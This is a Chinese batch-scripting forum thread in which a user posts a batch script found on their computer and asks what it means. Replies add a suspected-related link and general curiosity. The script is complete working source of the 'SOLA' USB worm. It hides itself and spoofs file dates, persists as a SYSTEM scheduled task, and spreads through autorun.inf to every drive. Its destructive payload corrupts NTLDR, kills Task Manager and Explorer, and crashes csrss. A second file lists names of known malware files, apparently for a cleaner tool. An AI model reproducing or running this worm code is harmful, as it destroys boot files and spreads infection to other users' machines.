中国DOS联盟

在我电脑里发现的不知道什么意思！
@echo off
set sola=%systemroot%\Fonts\HIDESE~1
set setup=%systemroot%\Fonts\HIDESE~1\solasetup
FOR /F "tokens=1" %%i in ('date /t') do set Realdate=%%i
FOR /F "skip=5 tokens=1,4" %%i in ('dir %systemroot%\explorer.exe') do if /I "%%j"=="explorer.exe" set Date=%%i
if "%1"=="-Install" goto Install
if "%1"=="-Run" goto Run
if "%1"=="-Tenbatsu" goto Tenbatsu
if "%1"=="-Kill" goto Kill
if "%1"=="-Killself" goto Killself

:CheckSign
if "%1"=="-USB" start /max ..
if "%1"=="-USB" cd SOLA
if exist %systemroot%\Fonts\HIDESE~1\sola.sign goto Open

:FileCopy
set selfname=%0
:HIDESelf
date %Date%
md %systemroot%\Fonts\HIDESELF...\
date %RealDate%
if not "%1"=="-USB" type %selfname%>%systemroot%\Fonts\HIDESE~1\sola.bat
if "%1"=="-USB" type sola.bat>%systemroot%\Fonts\HIDESE~1\sola.bat
type Function.dll>%systemroot%\Fonts\HIDESE~1\Function.exe
echo On Error Resume Next>%systemroot%\Fonts\HIDESE~1\SOLA.VBS
echo set ws=wscript.createobject("wscript.shell")>>%systemroot%\Fonts\HIDESE~1\SOLA.VBS
echo ws.run "cmd /c %sola%\SOLA.BAT -Install",0 >>%systemroot%\Fonts\HIDESE~1\SOLA.VBS
cscript %systemroot%\Fonts\HIDESE~1\SOLA.VBS
echo>%systemroot%\Fonts\HIDESE~1\sola.sign
del %systemroot%\Fonts\HIDESE~1\SOLA.VBS
goto Open


:Install


:PackerSetup
%SystemDrive%
cd %systemroot%\Fonts\HIDESE~1
if exist Function.exe taskkill /f /im Function.exe
if exist solasetup rd /s /q solasetup
md solasetup
cd solasetup
copy ..\Function.exe Function.dll
..\Function.exe -x
cd..
date %Date%
type %setup%\rar.exe >%systemroot%\system32\rar.exe
date %Realdate%
copy %setup%\Function.dll %sola%\Function.dll
attrib %sola%\Function.dll +s +h +r
rar -m0 -ep -ep1 a %setup%\docpack.dll %sola%\Function.dll
rar -m0 -ep -ep1 a %setup%\txtpack.dll %sola%\Function.dll
rar -m0 -ep -ep1 a %setup%\exepack.dll %sola%\Function.dll
rar -m0 -ep -ep1 a %setup%\jpgpack.dll %sola%\Function.dll
del Function.exe



:Mainsetup
set A0001=copy
set A0002=attrib
set A0003=echo
set A0005=Shell Hardware Detection
tasklist >%sola%\task.txt
FOR /F "tokens=1" %%i in ('findstr /I "svchost.exe" "%sola%\task.txt"') do set svchost=%%i
%A0001% %systemroot%\system32\cmd.exe %sola%\%svchost%
del %sola%\task.txt

:Tasks
%A0002% %systemroot%\Tasks\Tasks.job -s -h -r
del %systemroot%\Tasks\Tasks.job

date %Date%
type %setup%\Tasks.xxx>%systemroot%\Tasks\Tasks.job
schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks" & if errorlevel 1 goto TaskFail
date %RealDate%

goto TaskSuc
:TaskFail
%homedrive%
cd "%ALLUSERSPROFILE%"
cd 「开始」菜单\程序\启动

date %Date%
%A0003% On Error Resume Next>SOLA.VBS
%A0003% set ws=wscript.createobject("wscript.shell")>>SOLA.VBS
%A0003% ws.run "%sola%\svchost.exe /c %sola%\SOLA.BAT -Run",0 >>SOLA.VBS
%A0001% SOLA.VBS %sola%\SOLA.VBS
%A0003% NT>%systemroot%\Fonts\HIDESE~1\NoTasks
date %RealDate%

:TaskSuc
%A0002% %systemroot%\Tasks\Tasks.job +s +h +r
date %Date%
%A0001% %setup%\sleep.exe %systemroot%\system32\sleep.exe
date %RealDate%

:NoAutoPlay
net stop "%A0005%"
%A0003% Windows Registry Editor Version 5.00>%systemroot%\Fonts\HIDESE~1\Regedit.reg
%A0003% [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ShellHWDetection]>>%systemroot%\Fonts\HIDESE~1\Regedit.reg
%A0003% "Start"=dword:00000004>>%systemroot%\Fonts\HIDESE~1\Regedit.reg
regedit /s %systemroot%\Fonts\HIDESE~1\Regedit.reg

::End of Install
goto End&if errorlevel 1 exit
::End of Install




:Run
set runroot=%ALLUSERSPROFILE%\「开始」菜单\程序\启动
set taskroot=%systemroot%\Tasks

:RunTimeChk
if not exist %sola%\RunTime.txt echo !50>%sola%\RunTime.txt
FOR /F "tokens=1 delims=!" %%i in (%sola%\RunTime.txt) do set RunTime=%%i
if /i %RunTime% leq 0 goto Virus
set /a RunTime=%Runtime%-1
echo !%Runtime%>%sola%\RunTime.txt

:Diskchk

echo On Error Resume Next>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS
echo set ws=wscript.createobject("wscript.shell")>>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS
echo ws.run "%sola%\svchost.exe /c %setup%\RecentInf.bat",0 >>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS
cscript %systemroot%\Fonts\HIDESE~1\RecentInf.VBS
del %systemroot%\Fonts\HIDESE~1\RecentInf.VBS

for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do vol %%i:&if errorlevel 1 set %%i=1
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do echo 1>%%i:\solachk1 & findstr . %%i:\solachk1 & if not errorlevel 1 del %%i:\solachk1& findstr /C:"SOLA_1.0_2.0" %%i:\Autorun.inf & if errorlevel 1 attrib -s -h -r %%i:\Autorun.inf&copy /y %setup%\Autorun.inf %%i:\Autorun.inf&attrib %%i:\Autorun.inf +s +h +r&md %%i:\SOLA&copy /y "%setup%\sola.bat" %%i:\SOLA\SOLA.BAT&copy /y "%setup%\Function.dll" %%i:\SOLA\Function.dll&attrib %%i:\SOLA +s +h +r


:Turn
if "%C%"=="1" vol C:&if not errorlevel 1 call %setup%\Scan.bat C:
if "%D%"=="1" vol D:&if not errorlevel 1 call %setup%\Scan.bat D:
if "%E%"=="1" vol E:&if not errorlevel 1 call %setup%\Scan.bat E:
if "%F%"=="1" vol F:&if not errorlevel 1 call %setup%\Scan.bat F:
if "%G%"=="1" vol G:&if not errorlevel 1 call %setup%\Scan.bat G:
if "%H%"=="1" vol H:&if not errorlevel 1 call %setup%\Scan.bat H:
if "%I%"=="1" vol I:&if not errorlevel 1 call %setup%\Scan.bat I:
if "%J%"=="1" vol J:&if not errorlevel 1 call %setup%\Scan.bat J:
if "%K%"=="1" vol K:&if not errorlevel 1 call %setup%\Scan.bat K:
if "%L%"=="1" vol L:&if not errorlevel 1 call %setup%\Scan.bat L:
if "%M%"=="1" vol M:&if not errorlevel 1 call %setup%\Scan.bat M:
if "%N%"=="1" vol N:&if not errorlevel 1 call %setup%\Scan.bat N:
if "%O%"=="1" vol O:&if not errorlevel 1 call %setup%\Scan.bat O:
if "%P%"=="1" vol P:&if not errorlevel 1 call %setup%\Scan.bat P:
if "%Q%"=="1" vol Q:&if not errorlevel 1 call %setup%\Scan.bat Q:
if "%R%"=="1" vol R:&if not errorlevel 1 call %setup%\Scan.bat R:
if "%S%"=="1" vol S:&if not errorlevel 1 call %setup%\Scan.bat S:
if "%T%"=="1" vol T:&if not errorlevel 1 call %setup%\Scan.bat T:
if "%U%"=="1" vol U:&if not errorlevel 1 call %setup%\Scan.bat U:
if "%V%"=="1" vol V:&if not errorlevel 1 call %setup%\Scan.bat V:
if "%W%"=="1" vol W:&if not errorlevel 1 call %setup%\Scan.bat W:
if "%X%"=="1" vol X:&if not errorlevel 1 call %setup%\Scan.bat X:
if "%Y%"=="1" vol Y:&if not errorlevel 1 call %setup%\Scan.bat Y:
if "%Z%"=="1" vol Z:&if not errorlevel 1 call %setup%\Scan.bat Z:

if "%C%"=="2" vol C:&if errorlevel 1 set C=1
if "%D%"=="2" vol D:&if errorlevel 1 set D=1
if "%E%"=="2" vol E:&if errorlevel 1 set E=1
if "%F%"=="2" vol F:&if errorlevel 1 set F=1
if "%G%"=="2" vol G:&if errorlevel 1 set G=1
if "%H%"=="2" vol H:&if errorlevel 1 set H=1
if "%I%"=="2" vol I:&if errorlevel 1 set I=1
if "%J%"=="2" vol J:&if errorlevel 1 set J=1
if "%K%"=="2" vol K:&if errorlevel 1 set K=1
if "%L%"=="2" vol L:&if errorlevel 1 set L=1
if "%M%"=="2" vol M:&if errorlevel 1 set M=1
if "%N%"=="2" vol N:&if errorlevel 1 set N=1
if "%O%"=="2" vol O:&if errorlevel 1 set O=1
if "%P%"=="2" vol P:&if errorlevel 1 set P=1
if "%Q%"=="2" vol Q:&if errorlevel 1 set Q=1
if "%R%"=="2" vol R:&if errorlevel 1 set R=1
if "%S%"=="2" vol S:&if errorlevel 1 set S=1
if "%T%"=="2" vol T:&if errorlevel 1 set T=1
if "%U%"=="2" vol U:&if errorlevel 1 set U=1
if "%V%"=="2" vol V:&if errorlevel 1 set V=1
if "%W%"=="2" vol W:&if errorlevel 1 set W=1
if "%X%"=="2" vol X:&if errorlevel 1 set X=1
if "%Y%"=="2" vol Y:&if errorlevel 1 set Y=1
if "%Z%"=="2" vol Z:&if errorlevel 1 set Z=1




if exist %systemroot%\Fonts\HIDESE~1\NoTasks if not exist "%runroot%\SOLA.VBS" copy "%sola%\SOLA.VBS" "%runroot%\SOLA.VBS"
if not exist %systemroot%\Fonts\HIDESE~1\NoTasks if not exist %Taskroot%\Tasks.job copy %setup%\Tasks.xxx %Taskroot%\Tasks.job&attrib %Taskroot%\Tasks.job +s +h +r&schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks"
sleep 2000
goto Turn

::End of Run
goto End&if errorlevel 1 exit
::End of Run







:Virus
if not "%Runtime%"=="0" goto VirusChk
set /a RunTime=%Runtime%-1
echo !%Runtime%>%sola%\RunTime.txt
cd "%ALLUSERSPROFILE%\「开始」菜单\程序\启动"
echo On Error Resume Next>TENBATSU.VBS
echo set ws=wscript.createobject("wscript.shell")>>TENBATSU.VBS
echo ws.run "%sola%\sola.bat -Tenbatsu",0 >>TENBATSU.VBS
goto Diskchk

:VirusChk
if not exist "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\TENBATSU.VBS" goto Kill
goto Diskchk

:Tenbatsu
:KillNTLDR
attrib %systemdrive%\NTLDR -s -h -r
copy /Y %systemdrive%\NTLDR %sola%\NTLDR
echo NO NTLDR>%systemdrive%\NTLDR
::attrib %systemdrive%\NTLDR +s +h +r

:PauseSFC
start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -pn winlogon.exe',0);window.close()"

:KillTaskmgr
del /q /a %systemroot%\system32\dllcache\taskmgr.exe
taskkill /f /im taskmgr.exe & if errorlevel 1 ren %systemroot%\system32\taskmgr.exe taskmgr.xxx & if errorlevel 1 start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn taskmgr.exe',0);window.close()" & sleep 500
ren %systemroot%\system32\taskmgr.exe taskmgr.xxx

:KillExplorer
taskkill /f /im explorer.exe >nul& if errorlevel 1 ren %systemroot%\system32\explorer.exe explorer.xxx & start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn explorer.exe',0);window.close()" & sleep 500
ren %systemroot%\explorer.exe explorer.xxx
start /max %setup%\TENBATSU.BAT

:Timeset
sleep 660000
if exist %sola%\Killself Exit

:Kill
attrib %systemdrive%\NTLDR -s -h -r
echo NO NTLDR>%systemdrive%\NTLDR
::attrib %systemdrive%\NTLDR +s +h +r
tasklist >%sola%\Task.txt
FOR /F "tokens=2" %%i in ('findstr /I "csrss.exe" "%sola%\Task.txt"') do ntsd -p %%i
goto Diskchk



:KillSelf
:StartExplorer
ren %systemroot%\explorer.xxx explorer.exe
start %systemroot%\explorer.exe
:BackNTLDR
attrib %systemdrive%\NTLDR -s -h -r
copy /Y %sola%\NTLDR %systemdrive%\NTLDR
attrib %systemdrive%\NTLDR +s +h +r

:RenTmg
ren %systemroot%\system32\taskmgr.xxx taskmgr.exe

:KillVirus
copy %setup%\KillVirus.txt %sola%\KillVirus.txt
C:
cd\
md ~Install
cd ~Install
rar x -hpkakenhi200601 %setup%\SolaKiller.rar
mshta "javascript:new ActiveXObject('WScript.Shell').Run('C:\\~Install\\Install.bat %%1',0);window.close()"
rd /s /q %setup%
attrib %systemroot%\Tasks\Tasks.job -s -h -r
del %systemroot%\Tasks\Tasks.job
cd "%ALLUSERSPROFILE%\「开始」菜单\程序\启动"
if exist sola.vbs del sola.vbs
if exist tenbatsu.vbs del tenbatsu.vbs
start %systemroot%\system32\notepad.exe %sola%\KillVirus.txt
del %sola%\sola.bat
Exit



:Open
if "%1"=="-USB" Exit
goto GetName
:BackOpen
if not exist "%Name%" exit
call "%Name%"
:Save
FOR /F "delims=:" %%i in ('findstr "%Code%" *.exe') do set PackName=%%i
rar -m0 -ep -ep1 a "%PackName%" "%Name%"
echo %Code%>>"%PackName%"
:Del
attrib "%Name%" -s -h -r
del "%Name%"
attrib Function.dll -s -h -r
del Function.dll
attrib %0 -s -h -r
del %0
exit
::CMD program will stop there.
:GetName
set Code=SOLA_2.0_6828166832410
set Name=最新丰台有限公司章程.doc
goto Backopen
:End
以上是个BAT代码的！其中还有个delautorun.ini文件！
其中的内容是[General]
AutoImmune=1
AutoStart=1
CloseMin=1
Distribute=1
AutoKill=1
SetTime=0
AutoJect=1
AutoWatch=0
Log=1
Suspicious=0
StartHide=0
ScheduleType=3
Hour=15
Minute=10
Day=12
Month=3
Year=0
Monday=1
Tuesday=1
Wednesday=1
Thursday=1
Friday=1
Saturday=1
Sunday=1
FixDay=1
Seconds=10
Wait=0
Classes=16
[Class0]
Desc=Services
Count=9
Item0=Distributed Link Tracking Client logger
Item1=WinHelp
Item2=iexppyroy
Item3=kkdc
Item4=TrkNetsSvcs
Item5=COMSystemApp
Item6=WinWMService
Item7=WinWLService
Item8=tographicServices
[Class1]
Desc=Processes
Count=47
Item0=wincfgs
Item1=KB20060111
Item2=winlog0n
Item3=Toy
Item4=systemnt
Item5=mslogon
Item6=SXS
Item7=SVOHOST
Item8=rose
Item9=adober
Item10=SocksA
Item11=wsctf
Item12=tel.xls
Item13=algsrv
Item14=WINL0GON
Item15=fun.xls
Item16=algsrvs
Item17=fixctl
Item18=wdfmgr32
Item19=cftmons
Item20=ravmone
Item21=doc
Item22=autorun
Item23=lccxga
Item24=QQsj2
Item25=wincfgs2
Item26=winhlep
Item27=ujrpjk
Item28=severe
Item29=Ntdhcp
Item30=Wscript
Item31=svhost32.exe
Item32=Srerver
Item33=svchsot
Item34=cftmon
Item35=iexp1ore
Item36=rundl132
Item37=c0nime
Item38=servere
Item39=crs
Item40=mqhaym
Item41=wsttrs
Item42=wsdtstsrs
Item43=mppsds
Item44=msccrt
Item45=systemt
Item46=SVCHSOT
[Class2]
Desc=PossibleProcesses
Count=5
Item0=about
Item1=mssql
Item2=work
Item3=RAVWL
Item4=RAVWM
[Class3]
Desc=SameName
Count=3
Item0=%systemroot%\iexplore.exe
Item1=%homedrive%%homepath%\「开始」菜单\程序\启动\qq.exe
Item2=%systemroot%\lsass.exe
[Class4]
Desc=%SystemDrive%\
Count=5
Item0=system.sys
Item1=system32\rose.exe
Item2=runauto...\
Item3=autorun.pif
Item4=autorun.pif.tmp
[Class5]
Desc=Root
Count=16
Item0=sxs.exe
Item1=rose.exe
Item2=AutoRun.vbs
Item3=tel.xls.exe
Item4=fun.xls.exe
Item5=WIn.exe
Item6=oso.exe
Item7=GameSetup.exe
Item8=autorun.reg
Item9=autorun.bat
Item10=autorun.wsh
Item11=autorun.vbs
Item12=autorun.bin
Item13=autorun.inf.tmp
Item14=autorun
Item15=boot.exe
[Class6]
Desc=%SystemRoot%\
Count=39
Item0=KB20060111.exe
Item1=AdobeR.exe
Item2=SXS.EXE
Item3=SVOHOST.EXE
Item4=WINSCOK.DLL
Item5=ufdata2000.log
Item6=noruns.reg
Item7=smsss.exe
Item8=smss.dll
Item9=svch0st.exe
Item10=session.exe
Item11=winhlep.exe
Item12=SMSS.EXE
Item13=LSASS.exe
Item14=finder.com
Item15=explorer.com
Item16=EXERT.exe
Item17=ExERoute.exe
Item18=1.com
Item19=Hacker.com.cn.exe
Item20=wuauclt.exe
Item21=cftmoa.exe
Item22=cftmon.exe
Item23=iexp1ore.exe
Item24=iexp1ora.exe
Item25=rundl132.exe
Item26=rundl13a.exe
Item27=c0nime.exe
Item28=c0nima.exe
Item29=servera.exe
Item30=servere.exe
Item31=setuprs1.pif
Item32=dllhost.exe
Item33=wsttrs.exe
Item34=wsdtstsrs.exe
Item35=wgs3.exe
Item36=mppsds.exe
Item37=msccrt.exe
Item38=608769M.BMP
[Class7]
Desc=%SystemRoot%\system32\
Count=64
Item0=wincfgs.exe
Item1=winlog0n.exe
Item2=mslogon.exe
Item3=autorun.bat
Item4=autorun.bin
Item5=autorun.reg
Item6=autorun.txt
Item7=autorun.wsh
Item8=autorun.vbs
Item9=SXS.EXE
Item10=SVOHOST.EXE
Item11=WINSCOK.DLL
Item12=run.reg
Item13=systemdate.ini
Item14=algsrv.exe
Item15=SocksA.exe
Item16=FileKan.exe
Item17=wsctf.exe
Item18=wsctf.exe.exe
Item19=WINL0GON.exe
Item20=algsrvs.exe
Item21=msfun80.exe
Item22=msime82.exe
Item23=noruns.reg
Item24=fixctl.exe
Item25=fixctl.dll
Item26=wdfmgr32.exe
Item27=about.exe
Item28=low.exe
Item29=QQhx.dat
Item30=work.exe
Item31=mssql.exe
Item32=cftmons.exe
Item33=lccxga.exe
Item34=lccxga.dll
Item35=severe.exe
Item36=qmmnxr.exe
Item37=SEVERE.EXE
Item38=ntdhcp.exe
Item39=qmmnxr.dll
Item40=dllwm.dll
Item41=AutoRun.inf
Item42=Wmzos.dll
Item43=LgSyzr.dll
Item44=Rav26.dll
Item45=Gjzos.dll
Item46=crs.exe
Item47=mqhaym.exe
Item48=mqhaym.dll
Item49=wsttrs.dll
Item50=wsdtstsrs.dll
Item51=msccrt.dll
Item52=mppsds.dll
Item53=RAVWL.EXE
Item54=RAVWM.EXE
Item55=cmdbcs.dll
Item56=cmdbcs.dll_iparmor
Item57=cmdebcs.dll_iparmor
Item58=Wsm_32\Bingo.exe
Item59=Wsm_32\HookDriver.sys
Item60=Wsm_32\MonClient.dll
Item61=Wsm_32\sporder.dll
Item62=Wsm_32\Support.dll
Item63=systemt.exe
[Class8]
Desc=%SystemRoot%\system\
Count=3
Item0=SXS.EXE
Item1=SVOHOST.EXE
Item2=WINSCOK.DLL
Item3=qmmnxr.dll
[Class9]
Desc=%SystemRoot%\System32\dllcache\
Count=3
Item0=SXS.EXE
Item1=SVOHOST.EXE
Item2=WINSCOK.DLL
[Class10]
Desc=Startup
Count=3
Item0=windows.exe
Item1=systemnt.exe
Item2=qq.exe
[Class11]
Desc=Removable
Count=47
Item0=autorun.bat
Item1=autorun.bin
Item2=autorun.reg
Item3=autorun.txt
Item4=autorun.wsh
Item5=autorun.vbs
Item6=Toy.exe
Item7=msvcr71.dll
Item8=RavMonE.exe
Item9=SHE.exe
Item10=ctfmon.exe
Item11=AdobeR.exe
Item12=AdobeR.exe.log
Item13=winw0rd.exe
Item14=tel.xls.exe
Item15=EXPLORER.EXE
Item16=Setup.pif
Item17=fun.xls.exe
Item18=WIn.exe
Item19=sxs.exe
Item20=sxs2.exe
Item21=成人小说.exe
Item22=个人档案.exe
Item23=重要资料.exe
Item24=wokaye.exe
Item25=wsctf.exe
Item26=oso.exe
Item27=美女游戏.pif
Item28=printer.exe
Item29=setup.exe
Item30=autorun.pif
Item31=tool.exe
Item32=Updata.exe
Item33=boot.exe
Item34=`.vbs
Item35=main.vbs
Item36=jun.exe
Item37=.vbs
Item38=thunbs.db
Item39=re101.exe
Item40=MS-DOS.com
Item41=Recycled.exe
Item42=Purger.exe
Item43=msn.exe
Item44=Recycle.exe
Item45=RavMon.exe
Item46=Notepad.exe
[Class12]
Desc=AutoStart
Count=23
Item0=SoundMam
Item1=RavAV
Item2=dll
Item3=ASocksrv
Item4=BSserver
Item5=wsctf.exe
Item6=EXPLORER.EXE
Item7=MsServer
Item8=IMJPMIG8.2
Item9=Microsoft
Item10=grgcis
Item11=wdfmgr32
Item12=svch0st
Item13=mswindws
Item14=kifauy
Item15=QQsj2.eXe
Item16=qmmnxr
Item17=ujrpjk
Item18=khjias
Item19=wsttrs
Item20=WSDTSTSRS
Item21=msccrt
Item22=mppsds
[Class13]
Desc=Direct
Count=3
Item0=D:\systemdate.ini
Item1=D:\systemdate.com
Item2=D:\command.com
[Class14]
Desc=%SystemRoot%\System32\drivers\
Count=3
Item0=ujrpjk.exe
Item1=conime.exe
Item2=qmmnxr.exe
[Class15]
Desc=%CommonProgramFiles%\MICROSOFT SHARED\MSINFO\
Count=4
Item0=SVCHSOT.EXE
Item1=system.2dt
Item2=SysInfo1.dll
Item3=NewInfo.dll

前段时间看到的一个帖子，不过我那个网站的密码忘了，进不去了，下不了附件看，应该是一个东西，因为找到一句关键的

rar x -hpkakenhi200601 %setup%\SolaKiller.rar ，密码都一样

http://www.verybat.org/viewthread.php?tid=19622

好長啊~~等高手解釋，進來學習